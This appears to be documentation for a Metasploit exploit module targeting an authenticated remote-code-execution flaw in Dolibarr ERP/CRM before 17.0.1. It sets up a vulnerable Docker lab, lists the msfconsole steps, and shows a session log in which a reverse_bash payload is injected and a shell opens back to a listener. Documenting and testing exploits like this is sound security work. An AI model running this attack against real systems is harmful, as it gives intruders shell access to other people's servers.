## Vulnerable Application

Dolibarr ERP/CRM versions prior to 17.0.1 are vulnerable. The Website
module must be enabled and the attacker must have valid credentials.

### Docker setup (recommended)

```yaml
services:
  mariadb:
    image: mariadb:10.6
    command: --character-set-server=utf8 --collation-server=utf8_unicode_ci
    environment:
      - MYSQL_ROOT_PASSWORD=rootpassword
      - MYSQL_USER=dolibarr
      - MYSQL_PASSWORD=dolipassword
      - MYSQL_DATABASE=dolibarr
    volumes:
      - ./db_data:/var/lib/mysql
  dolibarr:
    image: tuxgasy/dolibarr:17.0.0
    depends_on:
      - mariadb
    ports:
      - "8080:80"
    environment:
      - DOLI_DB_HOST=mariadb
      - DOLI_DB_NAME=dolibarr
      - DOLI_DB_USER=dolibarr
      - DOLI_DB_PASSWORD=dolipassword
      - DOLI_ADMIN_LOGIN=admin
      - DOLI_ADMIN_PASSWORD=admin
    volumes:
      - ./dolibarr_docs:/var/www/documents
      - ./dolibarr_custom:/var/www/html/custom
```

Run with `docker-compose up -d`, then navigate to **Home -> Setup -> Company/Organization**
to create a company. Finally, enable the Website module under
**Home -> Setup -> Modules/Applications -> Website**.

## Verification Steps

1. Start msfconsole
2. `use exploit/unix/http/dolibarr_cms_rce_cve_2023_30253`
3. `set RHOSTS <target>`
4. `set USERNAME admin`
5. `set PASSWORD admin`
6. `set RPORT 8080`
7. `set LHOST <your ip>`
8. `run`
9. A reverse shell session should open

## Options

| Option | Required | Description |
|--------|----------|-------------|
| RHOSTS | Yes | Target address |
| RPORT | Yes | Target port (default: 80) |
| USERNAME | Yes | Dolibarr username (default: admin) |
| PASSWORD | Yes | Dolibarr password (default: admin) |
| TARGETURI | Yes | Base path to Dolibarr (default: /) |
| LHOST | Yes | Your IP for the reverse shell |

## Scenarios

### Dolibarr 17.0.0 on Linux (Docker)

```
msf > use exploit/unix/http/dolibarr_cms_rce_cve_2023_30253
msf exploit(unix/http/dolibarr_cms_rce_cve_2023_30253) > set RHOSTS 192.168.0.100
msf exploit(unix/http/dolibarr_cms_rce_cve_2023_30253) > set LHOST 192.168.0.100
msf exploit(unix/http/dolibarr_cms_rce_cve_2023_30253) > set RPORT 8080
msf exploit(unix/http/dolibarr_cms_rce_cve_2023_30253) > run

[*] Started reverse TCP handler on 192.168.0.100:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Vulnerable version detected: 17.0.0
[+] Successfully authenticated to Dolibarr
[+] Website 'emaqmwjv' created
[+] Page 'jqigdr' created with ID 2
[*] Executing Unix Command for cmd/unix/reverse_bash
[+] Payload injected, triggering...
[*] Command shell session 2 opened (192.168.0.100:4444 -> 192.168.0.100:47610) at 2026-04-22 22:50:39 +0200
[+] Website 'emaqmwjv' deleted
```